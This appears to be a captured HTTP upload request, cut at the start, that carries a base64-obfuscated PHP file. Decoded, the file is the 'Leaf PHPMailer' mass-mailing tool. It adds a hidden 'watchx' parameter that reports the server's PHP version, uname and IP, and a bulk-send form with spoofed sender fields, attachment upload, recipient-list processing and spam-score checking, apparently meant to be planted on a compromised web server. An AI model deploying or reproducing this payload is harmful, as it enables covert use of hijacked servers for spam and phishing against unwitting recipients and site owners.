FyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--27639e0c254dd3a28988727e0b486227--\r\n"]
